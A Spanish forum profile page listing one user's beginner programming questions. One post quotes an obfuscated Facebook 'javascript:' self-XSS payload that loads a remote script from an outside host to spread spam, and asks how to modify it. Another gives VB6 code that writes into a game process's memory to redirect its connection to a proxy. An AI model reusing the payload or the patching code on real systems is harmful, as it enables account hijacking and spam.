elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


  Mostrar Temas
Páginas: [1]
1  Programación / .NET (C#, VB.NET, ASP) / [P] Generador de Password VB.NET en: 14 Octubre 2012, 08:13 am
Tengo un error en el algoritmo y no logro discernir cual es!!! espero la ayuda de todos jajaja

Código
  1. Module PRUEBA
  2.  
  3.    Private DChar() As Char = {
  4.        "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t",
  5.        "u", "v", "w", "x", "y", "z",
  6.        "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T",
  7.        "U", "V", "W", "X", "Y", "Z",
  8.        "0", "1", "2", "3", "4", "5", "6", "7", "8", "9"
  9.    }
  10.  
  11.    Dim chrIntent As Integer
  12.    Dim chrPos As Integer
  13.  
  14.    Public Sub initPasswordModule()
  15.  
  16.        chrIntent = 1
  17.        chrPos = 0
  18.  
  19.    End Sub
  20.  
  21.    Public Sub newGetPassword()
  22.        Dim BruteSTR(UBound(DChar)) As Char
  23.        Dim PasswordCracked As Boolean
  24.  
  25.        PasswordCracked = True
  26.        BruteSTR(0) = DChar(0)
  27.  
  28.        Do While PasswordCracked
  29.            GenerateString(BruteSTR, chrPos, chrIntent)
  30.            Debug.Print(BruteSTR & " - ")
  31.            PasswordCracked = False
  32.            Application.DoEvents()
  33.        Loop
  34.  
  35.    End Sub
  36.  
  37.    Private Sub GenerateString(ByRef StrChar() As Char, ByRef cPos As Integer, ByRef cIntent As Integer)
  38.        Dim lastCaracterIndex As Integer
  39.        lastCaracterIndex = cIntent Mod Len(DChar)
  40.  
  41.        If lastCaracterIndex = 0 Then ' Llegamos al ultimo caracter del array => agregamos un nuevo caracter
  42.            cPos = cPos
  43.            StrChar(cPos) = DChar(0)
  44.        Else
  45.            StrChar(cPos) = DChar(lastCaracterIndex) ' Cambiamos el ultimo caracter por el siguiente
  46.        End If
  47.  
  48.        cIntent = cIntent + 1
  49.  
  50.    End Sub
  51.  
  52. End Module

Aquí el error: (Ventana de Inmediato, debug)

Citar
- b - c - d - e - f - g - h - i - j - k - l - m - n - o - p - q - r - s - t - u - v - w - x - y - z - A - B - C - D - E - F - G - H - I - J - K - L - M - N - O - P - Q - R - S - T - U - V - W - X - Y - Z - 0 - 1 - 2 - 3 - 4 - 5 - 6 - 7 - 8 - 9 - aa - ab - ac - ad - ae - af - ag - ah - ai - aj - ak - al - am - an - ao - ap - aq - ar - as - at - au - av - aw - ax - ay - az - aA - aB - aC - aD - aE - aF - aG - aH - aI - aJ - aK - aL - aM - aN - aO - aP - aQ - aR - aS - aT - aU - aV - aW - aX - aY - aZ - a0 - a1 - a2 - a3 - a4 - a5 - a6 - a7 - a8 - a9 - a - a - a - a - a - a - a - a - a - a - a

Véase los últimos caracteres en rojo. Muchas gracias a todos, espero que me puedan ayudar.

Utilizo VB2010
2  Programación / Programación Visual Basic / [VB6] &H20? Explicación? en: 1 Agosto 2012, 02:17 am
Hola gente! he visto en algunos códigos que utilizan instrucciones como estas:

Código
  1. If (A And &H20) Then Exit Function
  2. If (C And &H8000) Then Exit Function
  3. If (B And &H8) Then
  4. etc...

La verdad, no soy de utilizar visual basic pero me gustaría entender que son y para que sirven bien  :rolleyes:
3  Programación / Programación Visual Basic / [P] Transferir variables de VB a PHP en: 20 Septiembre 2011, 19:17 pm
Hola!, les quería preguntar que método puedo utilizar para pasar variables de VB6 a una página de PHP, sin usar Mysql.

Yo quiero por ejemplo que al ingresar a la web mi porograma actualice un dato de esa web, no se si se entiende.

Ejemplo, al ingresar el nombre "JORGE" abre el archivo JORGE.char, almaceno los datos que quiero en variables y como hago para mostrarlo en una web cuando se ingrese el nombre "JORGE"

Saludos!
4  Programación / Scripting / javascript Facebook en: 4 Agosto 2011, 21:34 pm
Hola a todos les comento que pasó, hay una página en facebook que te hace copiar y pegar en la dirección esto:

Citar
javascript:var _0x53f5=["\x37\x3A\x28\x61\x3D\x28\x62\x3D\x38\x29\x2E\x39\x28\x27\x36\x27\x29\x29\x2E\x63\x3D\x27\x2F\x2F\x35\x2E\x32\x2E\x33\x2E\x34\x2F\x31\x2F\x31\x2E\x64\x3F\x69\x3D\x27\x2B\x6A\x2E\x68\x28\x29\x2C\x62\x2E\x65\x2E\x66\x28\x61\x29\x3B\x67\x28\x30\x29","\x7C","\x73\x70\x6C\x69\x74","\x7C\x6E\x6F\x76\x69\x6F\x7C\x70\x72\x75\x65\x62\x61\x70\x69\x7C\x6C\x69\x6B\x65\x69\x74\x66\x62\x7C\x69\x6E\x66\x6F\x7C\x77\x77\x77\x7C\x73\x63\x72\x69\x70\x74\x7C\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x7C\x7C\x73\x72\x63\x7C\x6A\x73\x7C\x62\x6F\x64\x79\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x76\x6F\x69\x64\x7C\x72\x61\x6E\x64\x6F\x6D\x7C\x74\x6F\x6B\x65\x6E\x7C\x4D\x61\x74\x68","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0x24d3x1,_0x24d3x2,_0x24d3x3,_0x24d3x4,_0x24d3x5,_0x24d3x6){_0x24d3x5=function (_0x24d3x3){return _0x24d3x3.toString(36);} ;if(!_0x53f5[5][_0x53f5[4]](/^/,String)){while(_0x24d3x3--){_0x24d3x6[_0x24d3x3.toString(_0x24d3x2)]=_0x24d3x4[_0x24d3x3]||_0x24d3x3.toString(_0x24d3x2);} ;_0x24d3x4=[function (_0x24d3x5){return _0x24d3x6[_0x24d3x5];} ];_0x24d3x5=function (){return _0x53f5[6];} ;_0x24d3x3=1;} ;while(_0x24d3x3--){if(_0x24d3x4[_0x24d3x3]){_0x24d3x1=_0x24d3x1[_0x53f5[4]]( new RegExp(_0x53f5[7]+_0x24d3x5(_0x24d3x3)+_0x53f5[7],_0x53f5[8]),_0x24d3x4[_0x24d3x3]);} ;} ;return _0x24d3x1;} (_0x53f5[0],20,20,_0x53f5[3][_0x53f5[2]](_0x53f5[1]),0,{}));

Y luego envía este mensaje a todos tus contactos conectados:
Citar
definitivamente este es el novio mas valiente del mundo, mira lo que hizo por su novia: http://www.facebook.com/pages/El-novio-mas-valiente-del-mundo-Video/212722378775873

Me gustaría que me expliquen como modificarlo, ese mensaje esta en hex? o como es la cosa?

Un abrazo grande !
5  Foros Generales / Foro Libre / Atención Facebook ! en: 29 Julio 2011, 04:56 am
Gente necesito "Me gusta's" en una foto para ganar un premio, es por facebook, me podrían dar una mano? jajaja

Por empezar tendrían que poner me gusta en este enlace:
http://www.facebook.com/pages/Zanetti-golosinas/185537048173926

Y después en esta foto:
http://www.facebook.com/photo.php?fbid=226647227379431&set=o.185537048173926&type=1

Un abrazo grande, espero que se copen!
6  Programación / Programación C/C++ / [P] Completar en consola en: 10 Mayo 2011, 04:12 am
Hola a todos hace poco que comencé en el mundo de c/cpp y quería averiguar si hay alguna manera de ir "reemplazando" caracteres

yo por ejemplo hago:

(a).(b+c)=(a/d) ...

Como hago para ir reemplazando los caracteres y que se valla moviendo a dniode está la proxima variable.. no se si se entiende...

Que se muestre la estructura, que se valla moviendo y se almacene cuando lo estás escribiendo...

Un saludo !
7  Programación / Programación Visual Basic / [S] Declaración de variables en: 27 Abril 2011, 01:17 am
Hola a todos, eh visto que hay algunos que declaran las variables con &, # .. al final, es decir:

dim var& ó dim var# por ejemplo.. me gustaría saber que tipo significa cada símbolo ...

No le veo mucha utilidad pero le da facha a mis funciones  :rolleyes: jajaja , un saludo !!
8  Programación / Programación Visual Basic / Editar Memoria en: 24 Marzo 2011, 20:40 pm
Hola a todos, cree un proxy para un juego online (Argentum) y para poder interceptar los datos que envían y reciben los winsocks (cliente y servidor) debo cambiar la ip del juego que está en el cliente (190.224.163.62) por 127.0.0.1 y lo hago con el editor hex del Cheat Engine 6.0

Lo que yo busco es no tener que abrir el cheat engnie y cambiar estos valores cada vez que inicio el juego y que lo haga directamente... sería mucho mas fácil hacerlo en c, una librería y listo pero bueno, lo quiero hacer desde visual basci  :xD

Tengo una módulo que "CREO" que realiza esta acción, lo dejo por si ayuda a alguno
Código
  1. Private Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
  2. Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As Long, lpdwProcessId As Long) As Long
  3. Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
  4. Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
  5. Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
  6. Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal Classname As String, ByVal WindowName As String) As Long
  7.  
  8. Public Function WriteLocalhost(Offset As Long, WindowName As String, Value As Currency) As Currency
  9.  
  10.    Dim hWnd As Long
  11.    Dim ProcessID As Long
  12.    Dim ProcessHandle As Long
  13.  
  14.    hWnd = FindWindow(vbNullString, WindowName)
  15.  
  16.    If hWnd = 0 Then
  17.  
  18.            MsgBox "No encontré el Argentum", vbCritical, ""
  19.  
  20.            Exit Function
  21.    End If
  22.  
  23.    GetWindowThreadProcessId hWnd, ProcessID
  24.  
  25.    ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, False, ProcessID)
  26.  
  27.    If ProcessHandle = 0 Then
  28.  
  29.        Exit Function
  30.  
  31.    End If
  32.  
  33.    WriteProcessMemory ProcessHandle, Offset, Value, 8, 0&
  34.  
  35.    CloseHandle ProcessHandle
  36.  
  37. End Function
  38.  

Esto es el original:


Así debería quedar:


Si me podrían ayudar a entender el código o explicarme algún metodo para finalizar mi proxy bienvenido sea :$ .. Un saludo !!
9  Programación / Programación Visual Basic / Interceptar Winsocks en: 16 Febrero 2011, 00:31 am
Hola a todos, les vendo con una dudita, yo estoy tratando de interceptar los paquetes de un juego pero quiero hacerlo en visual basic, hace poco que comenzé con vb y quería bueno hacer un sniffer, interceptar un socket de un juego online y recibir los datos que envía y que salen de mi cliente

                 ->
Cliente -> Yo <- Servidor
              <-

Hokeando el winsock, para que se den una idea hacer un estilo de "WPE PRO" no se si lo conocen, (Winsock Packet Editor) ... ver los datos, enviarlos y recibirlos a mi gusto, si pueden dejar tutoriales por aquí en el foro o temas que me ayuden, porque estuve buscando y son todos en c++, y yo quiero visual basic XD ! ...

Saludos !
10  Programación / Programación Visual Basic / Bucle por tiempo en: 14 Febrero 2011, 04:15 am
Hola a todos quería saber como crear un bucle que tarde X tiempo la ejecución, es decir la duración del mismo

var = 0
Do While var < 255
var = var + 1
Loop
por poner un ejemplo estúpido xd ...

Que de llegar de 1 a 255 tarde 1 segundo (1000ms), por ejemplo... la idea sería no utilizar timers y hacer una función xd ,

Si alguien me puede ayudar, muchas gracias .
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines